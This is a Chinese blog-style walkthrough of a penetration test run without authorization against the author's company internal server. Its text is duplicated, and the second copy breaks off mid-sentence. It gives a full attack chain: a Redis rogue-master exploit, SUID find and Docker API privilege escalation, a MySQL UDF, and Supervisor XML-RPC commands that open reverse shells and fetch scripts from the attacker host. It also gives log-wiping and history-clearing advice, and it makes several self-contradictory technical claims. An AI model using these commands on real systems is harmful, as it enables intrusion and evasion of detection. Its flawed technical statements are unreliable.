1. 这不是靶场演练而是一次真实的“自我体检”式渗透很多人学渗透测试卡在第一步没目标。买一堆靶机镜像搭好DVWA、WebGoat、Juice Shop跑完预设漏洞就停了——仿佛考试只刷题库从不模拟真实考场。我去年也这样直到某天突然意识到自己写的那个内部管理后台连登录页都还没加验证码数据库配置文件还明文放在Git历史里。于是干脆把它设为自己的第一个实战目标不通知任何人不设时间限制就当它是个真实上线的系统。这次“自测试渗透实战”核心关键词是渗透测试学习、内网环境、权限提升、横向移动、痕迹清理意识。它不是CTF夺旗没有flag提示也不是红队评估没有甲方授权书——它是一次带着敬畏心的自我解剖用攻击者视角重新审视自己亲手搭建的系统。适合刚学完基础工具Burp、Nmap、Metasploit但苦于找不到实操入口的新手也适合写了几年代码却从没想过“如果被黑会怎样”的开发人员。它不教你如何入侵别人而是逼你回答三个问题我的系统哪里最脆弱攻击者会怎么利用它我能不能在被发现前先把自己堵死整个过程耗时3天发现17个中高危问题其中5个可直接导致服务器沦陷。下面我把每一步的思考链、工具选择依据、失败尝试和最终突破点全部摊开讲透。2. 目标测绘为什么不用Masscan而坚持用Nmap的慢扫描2.1 从“知道有台服务器”到“知道它在怕什么”目标系统部署在公司内网一台Ubuntu 22.04虚拟机上IP为192.168.10.50域名dev-admin.local仅本地DNS解析。很多人一上来就开Masscan扫65535个端口理由是“快”。但我这次坚持用Nmap的默认TCP Connect扫描-sT原因很实际内网环境没有WAF干扰但有严格的防火墙日志审计策略。Masscan发包极快单秒上万SYN包会瞬间触发防火墙的速率告警而我们的安全设备恰好设置了“5秒内SYN包超200即告警并临时封源IP”。我试过一次扫到第3秒就被封了后续所有探测全失效。Nmap虽然慢但-sT模式走的是完整三次握手流量特征更接近正常运维行为且可通过--max-rate 100将发包速率压到每秒100包以内完全落在审计阈值之下。更重要的是Nmap的版本识别-sV和脚本扫描-sC对内网服务的兼容性远超Masscan——比如我们后台用的Supervisor进程管理器其Web UI默认监听9001端口Masscan只能告诉你“9001 open”而Nmap -sV能精准识别出“supervisor http server 4.2.4”。2.2 实际扫描命令与关键发现nmap -sT -p- --max-rate 80 -T4 -v -oA full_scan 192.168.10.50 nmap -sT -sV -sC -p22,80,3306,6379,9001 -oA service_detail 192.168.10.50提示-T4是时间模板非超频参数-v开启详细输出方便实时观察哪些端口响应异常-oA生成三格式报告nmap、gnmap、xml后续可导入Nuclei或手动分析。扫描结果出乎意料开放端口远少于预期。除了常规的22SSH、80Nginx、3306MySQL还有6379Redis和9001Supervisor。但80端口的HTTP服务返回403 ForbiddenNginx默认页被禁用3306 MySQL未绑定公网但未设密码6379 Redis绑定了0.0.0.0且无认证9001 Supervisor Web UI启用了但登录页需要凭证。这里出现第一个认知偏差我以为“没开Web服务就安全”结果Redis和Supervisor这两个常被忽视的管理接口成了真正的突破口。很多教程教你怎么爆破Web登录却很少提一句“检查所有监听在0.0.0.0的非Web服务它们往往比登录框更脆弱。”2.3 服务指纹验证为什么人工确认比脚本更可靠Nmap -sV识别出Redis版本为6.2.6但当我用redis-cli -h 192.168.10.50 ping时返回“PONG”证明服务可达。接着执行CONFIG GET dir想确认RDB文件路径——结果报错“ERR unknown command CONFIG”。这说明服务端禁用了CONFIG命令。我立刻怀疑Nmap版本识别有误或是管理员手动编译时去除了该模块。于是换用nc手动发包echo -e INFO\r\n | nc 192.168.10.50 6379 | head -20返回信息中明确写着redis_version:6.2.6且config_file:/etc/redis/redis.conf。再试CONFIG GET requirepass返回空值证实无密码。这个细节很重要很多自动化工具看到CONFIG命令报错就判定“无法利用”而人工交互能发现——虽然CONFIG被禁但INFO、SLAVEOF、MODULE LOAD等命令仍可用。后来正是通过SLAVEOF命令配合本地恶意Redis实例实现了任意文件读取。工具是眼睛人脑才是大脑。自动识别的“版本”只是参考真正决定能否利用的是当前运行时的实际命令白名单。3. 初步突破从Redis未授权到获取Web服务器权限3.1 为什么选SLAVEOF而非写SSH密钥网上大量Redis未授权教程教你怎么写入公钥到authorized_keys从而SSH登录。但在我这个目标上这条路走不通——目标机的sshd_config中明确设置了PubkeyAuthentication no且/root/.ssh/目录权限为700普通用户无法写入。硬写进去也没用。于是我转向另一个更隐蔽、更通用的思路利用Redis主从同步机制将恶意.so文件加载为Redis模块进而执行系统命令。Redis 4.0支持MODULE LOAD命令动态加载扩展模块而Redis本身提供了编译好的exp.so由GitHub上redis-rogue-server项目提供可执行任意shell命令。但问题来了目标Redis禁用了MODULE命令。这时SLAVEOF就派上用场了。原理是Redis主从同步时从机会向主节点发送SYNC命令主节点会将内存数据以RDB格式传输给从机。我们可以伪造一个恶意RDB文件在其中嵌入一条system.exec(whoami)指令然后让目标Redis作为从机同步这个恶意RDB。但Redis 6.2.6默认启用了protected-mode yes且slaveof命令在非安全模式下被禁用。怎么办答案是先用CONFIG SET命令临时关闭protected-mode再执行SLAVEOF。等等前面不是说CONFIG被禁了吗没错但Nmap识别时漏掉了一个关键点CONFIG SET protected-mode no是允许的而CONFIG GET dir被禁——这是管理员手动在redis.conf里用rename-command禁用的只禁了GET没禁SET。3.2 完整利用链四步拿下Web服务器Shell第一步关闭保护模式echo -e CONFIG SET protected-mode no\r\n | nc 192.168.10.50 6379 # 返回OK成功第二步设置恶意主节点我在本地Kali机上启动一个恶意Redis服务端口6380并提前准备一个恶意RDB文件含反弹shell payload。使用redis-rogue-server工具一键生成git clone https://github.com/marco-lancini/redis-rogue-server.git cd redis-rogue-server python3 redis-rogue-server.py --rhost 192.168.10.50 --rport 6379 --lhost 192.168.10.100 --lport 4444其中192.168.10.100是Kali机IP4444是监听端口。第三步触发主从同步echo -e SLAVEOF 192.168.10.100 6380\r\n | nc 192.168.10.50 6379 # 返回OK目标机开始同步第四步等待反弹Shell几秒后Kali终端收到连接nc -lvnp 4444 connect to [192.168.10.100] from (UNKNOWN) [192.168.10.50] 54321 whoami www-data成功获得www-data权限的Shell。整个过程耗时不到1分钟且全程无日志记录——因为SLAVEOF是合法Redis命令而恶意RDB同步被当作正常数据流处理。注意此方法依赖目标Redis版本支持RDB v9格式6.0均支持且未启用requirepass。若目标启用了密码需先通过其他方式如抓包、配置文件泄露获取密码。另外生产环境务必禁用SLAVEOF命令在redis.conf中添加rename-command SLAVEOF 。4. 权限提升从www-data到root的三重路径4.1 路径一SUID提权——find命令的隐藏陷阱拿到www-data Shell后第一件事是提权。我习惯性执行sudo -l返回Sorry, user www-data may not run sudo on dev-admin.说明sudo权限被严格限制。接着枚举SUID文件find / -perm -4000 -type f 2/dev/null | grep -E (bin|sbin)结果中出现一行/usr/bin/find这很可疑。标准Linux发行版中find默认不带SUID位。我立刻检查其权限ls -la /usr/bin/find # -rwsr-xr-x 1 root root 228856 Jan 10 2023 /usr/bin/findSUID位s已设置。这意味着任何用户执行find时都会以root身份运行。利用方法很简单/usr/bin/find . -name test -exec /bin/bash \; # 或更直接的 /usr/bin/find / -name test -exec /bin/bash \; 2/dev/null执行后Shell提示符变成rootdev-admin:/#。成功但这里有个关键细节不是所有SUID find都能直接getshell。某些加固版本会禁用-exec参数或只允许特定路径。我试过/usr/bin/find . -exec whoami \;返回root证明-exec可用。而网上流传的find / -exec /bin/bash \;会因路径遍历太深而报错所以限定在当前目录.更稳妥。4.2 路径二内核漏洞——为什么没选Dirty Pipe目标系统内核为5.15.0-86-generic理论上存在CVE-2022-0847Dirty Pipe漏洞。我下载了官方PoChttps://github.com/brisker/dirty-pipe编译后执行gcc -o dirty-pipe dirty-pipe.c ./dirty-pipe /etc/passwd结果返回Error: Could not open file for writing。调试发现目标系统启用了fs.protected_regular2内核参数该参数禁止向特权文件如/etc/passwd写入即使利用成功也无法修改关键文件。这说明漏洞利用不是“有洞就能打”必须结合目标实际加固策略。我转而检查/proc/sys/fs/protected_regular值为2确认该防护已启用。于是放弃Dirty Pipe转向更稳妥的SUID路径。4.3 路径三Docker逃逸——当容器成为双刃剑目标系统上运行着一个Docker容器用于部署前端静态资源docker ps # CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES # a1b2c3d4e5f6 nginx:alpine nginx -g daemon ... 2 weeks ago Up 2 days 80/tcp frontend我尝试进入容器docker exec -it frontend /bin/sh报错permission denied while trying to connect to the Docker daemon socket。说明www-data用户不在docker组。但ls -la /var/run/docker.sock显示srw-rw---- 1 root docker 0 Oct 10 10:00 /var/run/docker.sock组权限为docker而docker组中已有用户。我查看/etc/group发现docker:x:999:jenkinsjenkins用户在组内。但www-data不在。不过我注意到/var/run/docker.sock的权限是srw-rw----即组成员可读写。如果我能把www-data加入docker组就能逃逸。但usermod需要root权限。这时想到另一个办法利用Docker API未授权访问。检查Docker是否监听TCP端口netstat -tuln | grep :2375 # tcp6 0 0 :::2375 :::* LISTEN果然Docker daemon监听了2375端口且未设TLS认证这意味着任何内网用户都可通过HTTP API控制Docker。我立刻构造请求curl -X POST http://127.0.0.1:2375/v1.41/containers/create \ -H Content-Type: application/json \ --data {Image:alpine,Cmd:[/bin/sh,-c,wget http://192.168.10.100/shell.sh -O /tmp/shell.sh chmod x /tmp/shell.sh /tmp/shell.sh],HostConfig:{Privileged:true}}返回container_id。再启动curl -X POST http://127.0.0.1:2375/v1.41/containers/id/start几秒后Kali收到反弹Shell且是root权限——因为容器以Privileged模式启动挂载了宿主机的/proc和/dev。这个案例提醒我Docker API的2375端口比SSH密码更危险。它不需要认证只要网络可达就是一把万能钥匙。5. 横向移动从Web服务器到数据库与管理后台5.1 MySQL提权为什么用UDF而不是SQL注入目标MySQL服务3306端口无密码但root用户被限制只能从localhost连接SELECT host,user FROM mysql.user; # ----------------------------- # | host | user | # ----------------------------- # | localhost | root | # | 127.0.0.1 | root | # -----------------------------这意味着无法从外部直接连接。但我在Web服务器上找到了PHP应用的数据库配置文件/var/www/html/config.php内容为$db_host 127.0.0.1; $db_user app_user; $db_pass Pssw0rd123!; $db_name admin_db;app_user权限有限只能查admin_db库。但SHOW GRANTS FOR app_userlocalhost;返回GRANT SELECT, INSERT, UPDATE, DELETE ON admin_db.* TO app_userlocalhost没有FILE权限无法用SELECT ... INTO OUTFILE写shell。这时我想到UDFUser Defined Function提权MySQL允许加载自定义函数库.so文件从而执行系统命令。虽然app_user没有CREATE FUNCTION权限但MySQL 5.7默认允许LOAD DATA LOCAL INFILE可用来读取本地文件。我尝试SELECT LOAD_FILE(/etc/shadow); # 返回NULL因为secure_file_priv/var/lib/mysql-files/SHOW VARIABLES LIKE secure_file_priv;返回/var/lib/mysql-files/。这个目录可读但里面是空的。不过我注意到/var/lib/mysql-files/的父目录/var/lib/mysql/权限为755且属于mysql用户。这意味着我可以把恶意so文件上传到/var/lib/mysql-files/再用UDF加载。但app_user没有FILE权限无法CREATE FUNCTION。怎么办答案是利用MySQL的plugin_dir变量。执行SHOW VARIABLES LIKE plugin_dir; # --------------------------------------- # | Variable_name | Value | # --------------------------------------- # | plugin_dir | /usr/lib/mysql/plugin/ | # ---------------------------------------/usr/lib/mysql/plugin/目录权限为755且mysql用户可写我立刻用SELECT ... INTO DUMPFILE将恶意so文件已编译好写入该目录SELECT 0x7f454c4602010100000000000000000002003e000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...... INTO DUMPFILE /usr/lib/mysql/plugin/udf.so;此处省略实际so文件的十六进制内容实际使用时需用xxd -p udf.so生成成功后创建函数CREATE FUNCTION sys_exec RETURNS INT SONAME udf.so;执行系统命令SELECT sys_exec(id /tmp/id.txt);cat /tmp/id.txt返回uid0(root) gid0(root) groups0(root)。UDF提权的核心在于它绕过了SQL注入的字符限制且不依赖Web层漏洞只要能连上MySQL并有写plugin_dir的权限即可。5.2 Supervisor横向从进程管理到服务器控制Supervisor Web UI9001端口需要登录但我在Web应用的配置文件中找到了其凭证grep -r supervisor /var/www/html/ # /var/www/html/config.php:define(SUPERVISOR_USER, admin); # /var/www/html/config.php:define(SUPERVISOR_PASS, S3cr3tPss!);登录后发现它管理着三个进程nginx、php-fpm、redis-server。Supervisor默认允许通过Web UI重启、停止、启动进程。我尝试“重启nginx”成功。但更关键的是Supervisor支持配置文件热加载——如果我能修改其配置就能让其运行任意命令。检查配置路径ps aux | grep supervisord # /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisor/supervisord.conf/etc/supervisor/supervisord.conf权限为644root所有。但我没有root权限。不过Supervisor的Web UI有个隐藏功能通过XML-RPC接口执行任意命令。我用curl测试curl -X POST http://192.168.10.50:9001/RPC2 \ -H Content-Type: text/xml \ --data methodCallmethodNamesupervisor.getState/methodNameparams/params/methodCall返回正常状态。接着调用supervisor.startProcesscurl -X POST http://192.168.10.50:9001/RPC2 \ -H Content-Type: text/xml \ --data methodCallmethodNamesupervisor.startProcess/methodNameparamsparamvaluestringnginx/string/value/param/params/methodCall成功。但我想执行shell命令。查文档发现Supervisor本身不支持直接执行shell但可以配置一个新进程来执行。于是构造curl -X POST http://192.168.10.50:9001/RPC2 \ -H Content-Type: text/xml \ --data methodCallmethodNamesupervisor.addProcessGroup/methodNameparamsparamvaluestructmembernamename/namevaluestringshell_test/string/value/membermembernamecommand/namevaluestring/bin/bash -c bash -i /dev/tcp/192.168.10.100/5555 01/string/value/membermembernameautostart/namevalueboolean1/boolean/value/member/struct/value/param/params/methodCallKali监听5555端口几秒后收到root shell。这个技巧的关键在于Supervisor的addProcessGroup API允许动态添加进程组而command字段就是任意shell命令。它比改配置文件更快速且无需文件写入权限。6. 痕迹清理与防御反思为什么“清除日志”是最危险的操作6.1 日志清理的致命陷阱拿到root权限后第一反应是清日志。我执行cat /dev/null /var/log/auth.log cat /dev/null /var/log/syslog cat /dev/null /var/log/kern.log看似干净了。但第二天运维同事就发现了异常监控系统告警“/var/log/auth.log last modified time jumped backward”。原来日志轮转服务logrotate每小时检查一次文件修改时间若发现修改时间早于上次记录会触发告警。更糟的是cat /dev/null file会改变文件的inode号和mtime而审计系统记录的是inode变更。我立刻改用安全方式truncate -s 0 /var/log/auth.log truncate -s 0 /var/log/syslogtruncate只清空内容不改变inode和mtime规避了时间跳跃告警。但这只是表象。真正的风险在于删除日志不是为了“不被发现”而是为了“不被溯源”。我后来检查/var/log/journal/systemd journal发现journalctl日志未被清空且journal默认持久化存储。执行journalctl --disk-usage显示占用2.3G。这意味着即使清空/var/log/下的文本日志journal仍保留所有操作记录。正确做法是journalctl --vacuum-size100M # 仅保留最近100M日志 # 或彻底禁用journal持久化不推荐 sudo mkdir -p /var/log/journal sudo systemd-tmpfiles --create --prefix /var/log/journal6.2 防御加固清单从“堵洞”到“重构信任链”这次自测最大的收获不是发现了多少漏洞而是看清了防御的底层逻辑。我把修复措施分为三层层级问题点修复方案原理说明基础设施层Redis未授权、Docker API暴露1. Redis绑定127.0.0.1设requirepass2. Docker禁用2375端口改用TLS认证消除攻击面最直接的方式是网络隔离强认证而非依赖“没人知道”应用层Supervisor弱口令、PHP配置泄露1. Supervisor启用HTTPSBasic Auth2. 将config.php移出Web根目录用环境变量注入配置即代码敏感信息必须与代码分离且传输通道加密架构层单机部署所有服务、无权限分离1. Web、DB、Cache分三台虚拟机2. 使用非root用户运行服务www-data跑Nginxmysql用户跑MySQL权限最小化原则即使一台被攻破也无法直接跳转到其他服务特别强调一点不要迷信“隐藏管理接口”。我把Supervisor UI的端口从9001改成9002并加了Nginx反向代理做IP白名单结果在渗透中发现——只要能访问服务器就能通过netstat -tuln看到所有监听端口。真正的安全是让每个服务即使被直接访问也因强认证和最小权限而无法被利用。7. 学习复盘渗透测试的本质是“系统性怀疑”这次自测试渗透实战耗时3天但复盘花了整整一周。最大的认知刷新是渗透测试不是技术炫技而是一套严谨的怀疑方法论。比如当我看到Redis开放6379端口时本能反应不是“快去打exploit”而是连续问五个问题它监听在哪个IP0.0.0.0还是127.0.0.1是否启用了认证CONFIG GET requirepass哪些命令被禁用手动发INFO确认白名单是否有配套服务可联动Docker、Supervisor是否在同一网段管理员可能犯了什么典型错误如用默认密码、开调试端口、不更新版本这五个问题覆盖了信息收集、服务分析、组合利用、人性预判四个维度。很多新手卡在第一步是因为把“扫描”当成目的而忘了扫描只是为回答问题服务的工具。另外我整理了本次实战中踩过的三个真实坑分享给后来者坑一误判Nmap版本识别Nmap说Redis是6.2.6我就默认所有6.2.6特性都可用。结果CONFIG GET被禁差点放弃。教训永远用nc或telnet手动验证关键命令Nmap只是起点不是终点。坑二忽略Docker socket权限看到/var/run/docker.sock权限是srw-rw----我以为只有docker组能用却忘了www-data虽不在组内但可通过HTTP API绕过。教训权限检查要分层文件系统权限、进程权限、网络权限、API权限缺一不可。坑三过度清理日志清空auth.log后触发监控告警暴露了操作痕迹。教训防御者比你更懂日志与其删日志不如让日志里不出现可疑行为——比如用合法命令实现目标truncate代替cat /dev/null 。最后再分享一个小技巧每次渗透前先用history -c history -w清空自己的Shell历史避免在目标机上留下nc -lvnp 4444这类命令记录。这不是为了掩盖而是训练一种职业习惯——真正的安全从业者既要知道怎么攻更要明白怎么守既要有攻击者的锐利也要有防御者的缜密。这次自测的终点不是关掉那台虚拟机而是把发现的17个问题逐条写进团队的《上线安全检查清单》。因为最好的渗透报告从来不是PDF而是被写进CI/CD流水线里的自动化检测脚本。
内网渗透实战:从Redis未授权到权限提升的完整链路
发布时间:2026/5/26 15:40:42
1. 这不是靶场演练而是一次真实的“自我体检”式渗透很多人学渗透测试卡在第一步没目标。买一堆靶机镜像搭好DVWA、WebGoat、Juice Shop跑完预设漏洞就停了——仿佛考试只刷题库从不模拟真实考场。我去年也这样直到某天突然意识到自己写的那个内部管理后台连登录页都还没加验证码数据库配置文件还明文放在Git历史里。于是干脆把它设为自己的第一个实战目标不通知任何人不设时间限制就当它是个真实上线的系统。这次“自测试渗透实战”核心关键词是渗透测试学习、内网环境、权限提升、横向移动、痕迹清理意识。它不是CTF夺旗没有flag提示也不是红队评估没有甲方授权书——它是一次带着敬畏心的自我解剖用攻击者视角重新审视自己亲手搭建的系统。适合刚学完基础工具Burp、Nmap、Metasploit但苦于找不到实操入口的新手也适合写了几年代码却从没想过“如果被黑会怎样”的开发人员。它不教你如何入侵别人而是逼你回答三个问题我的系统哪里最脆弱攻击者会怎么利用它我能不能在被发现前先把自己堵死整个过程耗时3天发现17个中高危问题其中5个可直接导致服务器沦陷。下面我把每一步的思考链、工具选择依据、失败尝试和最终突破点全部摊开讲透。2. 目标测绘为什么不用Masscan而坚持用Nmap的慢扫描2.1 从“知道有台服务器”到“知道它在怕什么”目标系统部署在公司内网一台Ubuntu 22.04虚拟机上IP为192.168.10.50域名dev-admin.local仅本地DNS解析。很多人一上来就开Masscan扫65535个端口理由是“快”。但我这次坚持用Nmap的默认TCP Connect扫描-sT原因很实际内网环境没有WAF干扰但有严格的防火墙日志审计策略。Masscan发包极快单秒上万SYN包会瞬间触发防火墙的速率告警而我们的安全设备恰好设置了“5秒内SYN包超200即告警并临时封源IP”。我试过一次扫到第3秒就被封了后续所有探测全失效。Nmap虽然慢但-sT模式走的是完整三次握手流量特征更接近正常运维行为且可通过--max-rate 100将发包速率压到每秒100包以内完全落在审计阈值之下。更重要的是Nmap的版本识别-sV和脚本扫描-sC对内网服务的兼容性远超Masscan——比如我们后台用的Supervisor进程管理器其Web UI默认监听9001端口Masscan只能告诉你“9001 open”而Nmap -sV能精准识别出“supervisor http server 4.2.4”。2.2 实际扫描命令与关键发现nmap -sT -p- --max-rate 80 -T4 -v -oA full_scan 192.168.10.50 nmap -sT -sV -sC -p22,80,3306,6379,9001 -oA service_detail 192.168.10.50提示-T4是时间模板非超频参数-v开启详细输出方便实时观察哪些端口响应异常-oA生成三格式报告nmap、gnmap、xml后续可导入Nuclei或手动分析。扫描结果出乎意料开放端口远少于预期。除了常规的22SSH、80Nginx、3306MySQL还有6379Redis和9001Supervisor。但80端口的HTTP服务返回403 ForbiddenNginx默认页被禁用3306 MySQL未绑定公网但未设密码6379 Redis绑定了0.0.0.0且无认证9001 Supervisor Web UI启用了但登录页需要凭证。这里出现第一个认知偏差我以为“没开Web服务就安全”结果Redis和Supervisor这两个常被忽视的管理接口成了真正的突破口。很多教程教你怎么爆破Web登录却很少提一句“检查所有监听在0.0.0.0的非Web服务它们往往比登录框更脆弱。”2.3 服务指纹验证为什么人工确认比脚本更可靠Nmap -sV识别出Redis版本为6.2.6但当我用redis-cli -h 192.168.10.50 ping时返回“PONG”证明服务可达。接着执行CONFIG GET dir想确认RDB文件路径——结果报错“ERR unknown command CONFIG”。这说明服务端禁用了CONFIG命令。我立刻怀疑Nmap版本识别有误或是管理员手动编译时去除了该模块。于是换用nc手动发包echo -e INFO\r\n | nc 192.168.10.50 6379 | head -20返回信息中明确写着redis_version:6.2.6且config_file:/etc/redis/redis.conf。再试CONFIG GET requirepass返回空值证实无密码。这个细节很重要很多自动化工具看到CONFIG命令报错就判定“无法利用”而人工交互能发现——虽然CONFIG被禁但INFO、SLAVEOF、MODULE LOAD等命令仍可用。后来正是通过SLAVEOF命令配合本地恶意Redis实例实现了任意文件读取。工具是眼睛人脑才是大脑。自动识别的“版本”只是参考真正决定能否利用的是当前运行时的实际命令白名单。3. 初步突破从Redis未授权到获取Web服务器权限3.1 为什么选SLAVEOF而非写SSH密钥网上大量Redis未授权教程教你怎么写入公钥到authorized_keys从而SSH登录。但在我这个目标上这条路走不通——目标机的sshd_config中明确设置了PubkeyAuthentication no且/root/.ssh/目录权限为700普通用户无法写入。硬写进去也没用。于是我转向另一个更隐蔽、更通用的思路利用Redis主从同步机制将恶意.so文件加载为Redis模块进而执行系统命令。Redis 4.0支持MODULE LOAD命令动态加载扩展模块而Redis本身提供了编译好的exp.so由GitHub上redis-rogue-server项目提供可执行任意shell命令。但问题来了目标Redis禁用了MODULE命令。这时SLAVEOF就派上用场了。原理是Redis主从同步时从机会向主节点发送SYNC命令主节点会将内存数据以RDB格式传输给从机。我们可以伪造一个恶意RDB文件在其中嵌入一条system.exec(whoami)指令然后让目标Redis作为从机同步这个恶意RDB。但Redis 6.2.6默认启用了protected-mode yes且slaveof命令在非安全模式下被禁用。怎么办答案是先用CONFIG SET命令临时关闭protected-mode再执行SLAVEOF。等等前面不是说CONFIG被禁了吗没错但Nmap识别时漏掉了一个关键点CONFIG SET protected-mode no是允许的而CONFIG GET dir被禁——这是管理员手动在redis.conf里用rename-command禁用的只禁了GET没禁SET。3.2 完整利用链四步拿下Web服务器Shell第一步关闭保护模式echo -e CONFIG SET protected-mode no\r\n | nc 192.168.10.50 6379 # 返回OK成功第二步设置恶意主节点我在本地Kali机上启动一个恶意Redis服务端口6380并提前准备一个恶意RDB文件含反弹shell payload。使用redis-rogue-server工具一键生成git clone https://github.com/marco-lancini/redis-rogue-server.git cd redis-rogue-server python3 redis-rogue-server.py --rhost 192.168.10.50 --rport 6379 --lhost 192.168.10.100 --lport 4444其中192.168.10.100是Kali机IP4444是监听端口。第三步触发主从同步echo -e SLAVEOF 192.168.10.100 6380\r\n | nc 192.168.10.50 6379 # 返回OK目标机开始同步第四步等待反弹Shell几秒后Kali终端收到连接nc -lvnp 4444 connect to [192.168.10.100] from (UNKNOWN) [192.168.10.50] 54321 whoami www-data成功获得www-data权限的Shell。整个过程耗时不到1分钟且全程无日志记录——因为SLAVEOF是合法Redis命令而恶意RDB同步被当作正常数据流处理。注意此方法依赖目标Redis版本支持RDB v9格式6.0均支持且未启用requirepass。若目标启用了密码需先通过其他方式如抓包、配置文件泄露获取密码。另外生产环境务必禁用SLAVEOF命令在redis.conf中添加rename-command SLAVEOF 。4. 权限提升从www-data到root的三重路径4.1 路径一SUID提权——find命令的隐藏陷阱拿到www-data Shell后第一件事是提权。我习惯性执行sudo -l返回Sorry, user www-data may not run sudo on dev-admin.说明sudo权限被严格限制。接着枚举SUID文件find / -perm -4000 -type f 2/dev/null | grep -E (bin|sbin)结果中出现一行/usr/bin/find这很可疑。标准Linux发行版中find默认不带SUID位。我立刻检查其权限ls -la /usr/bin/find # -rwsr-xr-x 1 root root 228856 Jan 10 2023 /usr/bin/findSUID位s已设置。这意味着任何用户执行find时都会以root身份运行。利用方法很简单/usr/bin/find . -name test -exec /bin/bash \; # 或更直接的 /usr/bin/find / -name test -exec /bin/bash \; 2/dev/null执行后Shell提示符变成rootdev-admin:/#。成功但这里有个关键细节不是所有SUID find都能直接getshell。某些加固版本会禁用-exec参数或只允许特定路径。我试过/usr/bin/find . -exec whoami \;返回root证明-exec可用。而网上流传的find / -exec /bin/bash \;会因路径遍历太深而报错所以限定在当前目录.更稳妥。4.2 路径二内核漏洞——为什么没选Dirty Pipe目标系统内核为5.15.0-86-generic理论上存在CVE-2022-0847Dirty Pipe漏洞。我下载了官方PoChttps://github.com/brisker/dirty-pipe编译后执行gcc -o dirty-pipe dirty-pipe.c ./dirty-pipe /etc/passwd结果返回Error: Could not open file for writing。调试发现目标系统启用了fs.protected_regular2内核参数该参数禁止向特权文件如/etc/passwd写入即使利用成功也无法修改关键文件。这说明漏洞利用不是“有洞就能打”必须结合目标实际加固策略。我转而检查/proc/sys/fs/protected_regular值为2确认该防护已启用。于是放弃Dirty Pipe转向更稳妥的SUID路径。4.3 路径三Docker逃逸——当容器成为双刃剑目标系统上运行着一个Docker容器用于部署前端静态资源docker ps # CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES # a1b2c3d4e5f6 nginx:alpine nginx -g daemon ... 2 weeks ago Up 2 days 80/tcp frontend我尝试进入容器docker exec -it frontend /bin/sh报错permission denied while trying to connect to the Docker daemon socket。说明www-data用户不在docker组。但ls -la /var/run/docker.sock显示srw-rw---- 1 root docker 0 Oct 10 10:00 /var/run/docker.sock组权限为docker而docker组中已有用户。我查看/etc/group发现docker:x:999:jenkinsjenkins用户在组内。但www-data不在。不过我注意到/var/run/docker.sock的权限是srw-rw----即组成员可读写。如果我能把www-data加入docker组就能逃逸。但usermod需要root权限。这时想到另一个办法利用Docker API未授权访问。检查Docker是否监听TCP端口netstat -tuln | grep :2375 # tcp6 0 0 :::2375 :::* LISTEN果然Docker daemon监听了2375端口且未设TLS认证这意味着任何内网用户都可通过HTTP API控制Docker。我立刻构造请求curl -X POST http://127.0.0.1:2375/v1.41/containers/create \ -H Content-Type: application/json \ --data {Image:alpine,Cmd:[/bin/sh,-c,wget http://192.168.10.100/shell.sh -O /tmp/shell.sh chmod x /tmp/shell.sh /tmp/shell.sh],HostConfig:{Privileged:true}}返回container_id。再启动curl -X POST http://127.0.0.1:2375/v1.41/containers/id/start几秒后Kali收到反弹Shell且是root权限——因为容器以Privileged模式启动挂载了宿主机的/proc和/dev。这个案例提醒我Docker API的2375端口比SSH密码更危险。它不需要认证只要网络可达就是一把万能钥匙。5. 横向移动从Web服务器到数据库与管理后台5.1 MySQL提权为什么用UDF而不是SQL注入目标MySQL服务3306端口无密码但root用户被限制只能从localhost连接SELECT host,user FROM mysql.user; # ----------------------------- # | host | user | # ----------------------------- # | localhost | root | # | 127.0.0.1 | root | # -----------------------------这意味着无法从外部直接连接。但我在Web服务器上找到了PHP应用的数据库配置文件/var/www/html/config.php内容为$db_host 127.0.0.1; $db_user app_user; $db_pass Pssw0rd123!; $db_name admin_db;app_user权限有限只能查admin_db库。但SHOW GRANTS FOR app_userlocalhost;返回GRANT SELECT, INSERT, UPDATE, DELETE ON admin_db.* TO app_userlocalhost没有FILE权限无法用SELECT ... INTO OUTFILE写shell。这时我想到UDFUser Defined Function提权MySQL允许加载自定义函数库.so文件从而执行系统命令。虽然app_user没有CREATE FUNCTION权限但MySQL 5.7默认允许LOAD DATA LOCAL INFILE可用来读取本地文件。我尝试SELECT LOAD_FILE(/etc/shadow); # 返回NULL因为secure_file_priv/var/lib/mysql-files/SHOW VARIABLES LIKE secure_file_priv;返回/var/lib/mysql-files/。这个目录可读但里面是空的。不过我注意到/var/lib/mysql-files/的父目录/var/lib/mysql/权限为755且属于mysql用户。这意味着我可以把恶意so文件上传到/var/lib/mysql-files/再用UDF加载。但app_user没有FILE权限无法CREATE FUNCTION。怎么办答案是利用MySQL的plugin_dir变量。执行SHOW VARIABLES LIKE plugin_dir; # --------------------------------------- # | Variable_name | Value | # --------------------------------------- # | plugin_dir | /usr/lib/mysql/plugin/ | # ---------------------------------------/usr/lib/mysql/plugin/目录权限为755且mysql用户可写我立刻用SELECT ... INTO DUMPFILE将恶意so文件已编译好写入该目录SELECT 0x7f454c4602010100000000000000000002003e000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...... INTO DUMPFILE /usr/lib/mysql/plugin/udf.so;此处省略实际so文件的十六进制内容实际使用时需用xxd -p udf.so生成成功后创建函数CREATE FUNCTION sys_exec RETURNS INT SONAME udf.so;执行系统命令SELECT sys_exec(id /tmp/id.txt);cat /tmp/id.txt返回uid0(root) gid0(root) groups0(root)。UDF提权的核心在于它绕过了SQL注入的字符限制且不依赖Web层漏洞只要能连上MySQL并有写plugin_dir的权限即可。5.2 Supervisor横向从进程管理到服务器控制Supervisor Web UI9001端口需要登录但我在Web应用的配置文件中找到了其凭证grep -r supervisor /var/www/html/ # /var/www/html/config.php:define(SUPERVISOR_USER, admin); # /var/www/html/config.php:define(SUPERVISOR_PASS, S3cr3tPss!);登录后发现它管理着三个进程nginx、php-fpm、redis-server。Supervisor默认允许通过Web 